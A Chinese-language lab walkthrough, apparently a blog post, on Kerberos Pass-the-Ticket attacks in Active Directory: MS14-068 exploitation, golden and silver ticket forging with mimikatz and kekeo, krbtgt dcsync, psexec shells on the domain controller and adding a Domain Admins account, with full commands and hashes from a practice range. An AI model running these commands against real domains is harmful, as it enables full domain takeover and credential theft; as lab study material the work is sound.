域渗透PTT票据传递攻击(Pass the Ticket)
文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
PTT 票据传递攻击(Pass the Ticket)
描述:
PTT票据传递主要根据kerberos协议&kerberos认证原理来进行攻击:
kerberos原理:打个比方:就好比A需要进入公司办公处,首先需要去门卫处验证是否是这个公司的人(也就是通过AS的认证);然后通过门卫确认后,拿着门卫的凭证(也就是我们所需要TGT)去办公处里面,这时候我们如果需要去领导办公室查询资料(就是访问Sever),那么就需要通过办公处的前台去登记,让前台确认我们是否有去查询的资格,当确认我们有资格后会给予凭证(就是ST),我们就可以拿着这个凭证去领导办公室查询资料了。
借用我们上面的比方:来带入我们kerberos中:
- 首先 Client 向域控制器 DC 请求访问 Server,DC 通过去 AD 活动目录中查找依次区分 Client 来判断 Client 是否可信;
- 认证通过后返回 TGT 给 Client,Client 得到 TGT(Ticket GrantingTicket);
- Client 继续拿着 TGT 请求 DC 访问 Server,TGS 通过 Client 消息中的 TGT,判断 Client 是否有访问权限;
- 如果有,则给 Client 有访问 Server 的权限 Ticket,也叫 ST(ServiceTicket);
- Client 得到 Ticket 后,再去访问 Server,且该 Ticket 只针对这一个 Server有效;
- 最终 Server 和 Client 建立通信。
如图就是这样的六步:
而我们下面要说的所谓的黄金票据和白银票据,借用我们上面的比方来进行讲解,让人更容易去理解:
黄金票据:就是我们攻击者伪装成这个公司的员工,自己伪造了一个门卫的凭证(TGT),因此就不需要和门卫(AS)去登记,进入办公区(KDC)后,窃取了一个万能凭证(就是krbtgt账号),拥有这个凭证就可以自有出入领导办公室查询资料。
白银票据:就是我们的攻击者拿到了这个公司领导办公室侧门的钥匙(也就是可以利用部分的服务,比如cifs),他都不需要进入办公区(KDC)去找前台登记给予凭证(ST),拥有了钥匙直接去打开领导办公室的侧门进入查询资料。
票据传递攻击:
域内常用的两种攻击方式,分别为黄金票据和白银票据:
黄金票据原理:
在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给 Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。
特点:
不需要与 AS 进行交互,需要用户 krbtgt 的 Hash。
MS14-068
这个漏洞的原理就和黄金票据相似,所以我们先来复现这个漏洞:
原理:
通过生成黄金票据,导入工具中,将一个普通权限的域用户获取域管的使用权限,从而达到控制整个域。
当获取域用户时,对这个域进行信息收集:
获取是否MS14-068相应补丁情况:
systeminfo | findstr "3011780"
返回为空则没有相应的补丁
ms14-068exp使用方法:
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员 sid -d 域控制器地址
收集域成员的SID:
whoami /all
whoami /user #只单独查询SID
收集域管账号及域名称:
net time #获取域管账号
net config workstation #获取域信息
nltest /dsgetdc:moonsec #获取域管信息
构造成08server-dc.moonsec.fbi,在制作黄金票据中使用:
利用ms14-068的exp来生成一个黄金票据:
ms14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-273474972-1103 -d 08server-dc.moonsec.fbi
这里我们可以先看下票据未导入前,是无法查看域控的C盘:
dir \\08server-dc.moonsec.fbi\C$ #这里必须使用计算机全名去查看,IP地址是不行的。
使用mimitakz导入票据:
kerberos::purge #清空票据
kerberos::ptc 票据 #导入票据
kerberos::list #查看票据
再次查看域控的C盘,现在是可以访问的:
dir \\08server-dc.moonsec.fbi\C$
使用psexec反弹cmd:
Psexec64.exe /accepteula /s \\08server-dc.moonsec.fbi cmd.exe
将cmd反弹出来,即可创建域管账号:
net user Longwaer QWEasd123 /add /domain
net group "Domain Admins" Longwaer /add /domain
金票制作:
这里我们已经假设获得了域管权限,然后我们利用mimikatz导出krbtgt账号信息:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /user:krbtgt" "exit">loghash.txt
利用mimikatz生成黄金票据:
mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit
将票据注入内存:
kerberos::purge #清除票据
kerberos:: ptt 票据 #将票据注入内存
成功访问:
白银票据原理:
如果说黄金票据是伪造的 TGT,那么白银票据就是伪造的 ST。在 Kerberos 认证的第三部,Client 带着 ST 和 Authenticator3 向 Server 上的某个服务进行请求,Server 接收到 Client 的请求之后,通过自己的 Master Key 解密 ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。所以我们只需要知道 Server 用户的 Hash 就可以伪造出一个 ST,且不会经过 KDC,但是伪造的门票只对部分服务起作用。
特点:
不需要与KDC进行交互;需要server的NTLM hash。
银票制作:
假设我们已经获得域管权限,使用mimikatz导出信息:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
然后利用server的NTLM hash制作银票:
使用方法:
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:d0584c0b6d8ef7693ecaca2469348555 /user:administrator /ptt
这里rc4:使用的是08server-dc的ntlm hash
使用kekeo,制作银票:
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387
kerberos::ptt 票据
金票和银票之前的区别:
获取的权限不同
金票:伪造的 TGT,可以获取任意 Kerberos 的访问权限
银票:伪造的 ST,只能访问指定的服务,如 CIFS
认证流程不同
金票:同 KDC 交互,但不同 AS 交互
银票:不同 KDC 交互,直接访问 Server
加密方式不同
金票:由 krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
域渗透PTT票据传递攻击(Pass the Ticket)相关推荐
- 内网渗透之PPT票据传递攻击(Pass the Ticket)
文章目录 内网渗透之PPT票据传递攻击(Pass the Ticket) 前言 Kerberos 协议& Kerberos 认证原理 Kerberos 认证原理 ASREQ & ASR ...
- 内网横向移动|PTT票据传递横向|Mimikatz Kerberos
票据传递攻击(Pass the Ticket,PtT) 票据传递攻击(PtT)是基于Kerberos认证的一种攻击方法,常用来做后渗透权限维持,黄金票据攻击利用的前提是得到了域内krbtgt用户的NT ...
- 内网横向渗透之各种传递攻击
内网横向渗透之各种传递攻击 前言 在前面一篇文章已经对内网信息收集做了详细介绍,所需要的内网环境也包含在那篇文章中,接下来将以前期内网信息收集到的信息为基础介绍各种明文或hash传递攻击进行横向渗透. ...
- 域渗透-SPN与kerberoast攻击
一:SPN服务主体名称 SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP.MSSQL.MySQL等服务)的唯一标识符. 1.1:SPN介绍 Kerbero ...
- 域渗透 | 白银票据利用
安全库:http://www.seclibs.com/ 网络安全爱好者的安全导航,专注收集信安.红队常用网站.工具和技术博客 目录 0x01 介绍 0x02 白银票据利用 0x01 介绍 之前,我们已 ...
- 域渗透-白银票据和黄金票据的利用
最近做了一些靶场域渗透的实验,记录下一些关于白银票据和黄金票据的问题. 0x01 白银票据的利用 1 环境信息 域控DC 192.168.183.130 域内主机win7 192.168.183.12 ...
- 域渗透|NTLM 中继攻击
作者: r0n1n 免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x01 前言 进入内网之后想获取运维人员(特定人员)的系统密码,在已经获得内网Linux或者代理隧道的前 ...
- 《域渗透攻防指南》签名版预售来啦
千呼万唤始出来!终于,在广大粉丝翘首期盼下,国内首本专门讲述域内攻防的书籍<域渗透攻防指南>在2022年最后一个月和大家见面了.为了回馈粉丝的等待,让粉丝早日拿到心仪的书,特此联合机械工业 ...
- 【内网学习笔记】21、哈希传递与票据传递
1.哈希传递 哈希传递(Pass The Hash, PTH)顾名思义,就是利用哈希去登录内网中的其他机器,而不是通过明文密码登录的方式. 通过哈希传递,攻击者不需要花时间破解哈希值得到明文,在Win ...
最新文章
- Docker入门与实践
- 【C 语言】字符串操作 ( C 字符串 | 字符数组始化 )
- Zookeeper+kafka集群搭建,问题(zoo.cfg file is running,it‘s probably not running,option ‘UseCompressedOops‘)
- java 是否继续操作?代码
- IBM收购以色列应用发现公司EZSource
- 一起来庆祝 .NET 20 周年!
- mongodb mongod 参数解释
- 如何解决终端图标显示异常?
- 概率论数理统计笔记01(对应教材——《概率论与数理统计》(同济大学出版社出版))
- Netty中ChannelOption属性含义
- android tablayout放图片,Android TabLayout的Indicator如何设置为图片
- 添加了排比句的狗屁不通生成器
- androidStudio Lambda表达式的引入
- U盘在电脑上不显示怎么办?
- 什么是AQS?AQS有什么作用?常见的基于AQS的组件有哪些?
- 教你远程桌面如何传递声音
- cgb2110-day13
- 百度被黑了,百度被真相曝光
- ESG评级:Ecovadis
- 理解ClassLoader
热门文章
- ng zorro input readonly 的使用
- Pygame入门——游戏基础及插入图片
- PS化妆品美工,化妆品瓶子类淘宝美…
- wps流程图怎么不能添加文字_怎样使用WPS文字快速制作美观的流程图
- 博图V15,16,烟气处理SNCR脱销组态王/博途WINCC1500工程实例
- 20230208-20230212工作及生活总结
- unity 获取字符串长度及获取不重复数字
- 卷积、傅里叶级数、傅里叶变换、快速傅里叶变换、pytorch中的fft,rfft
- SCP 提示 Permission denied, please try again.解决方法
- php高效遍历,PHP 遍历数组的三种方法及效率对比分析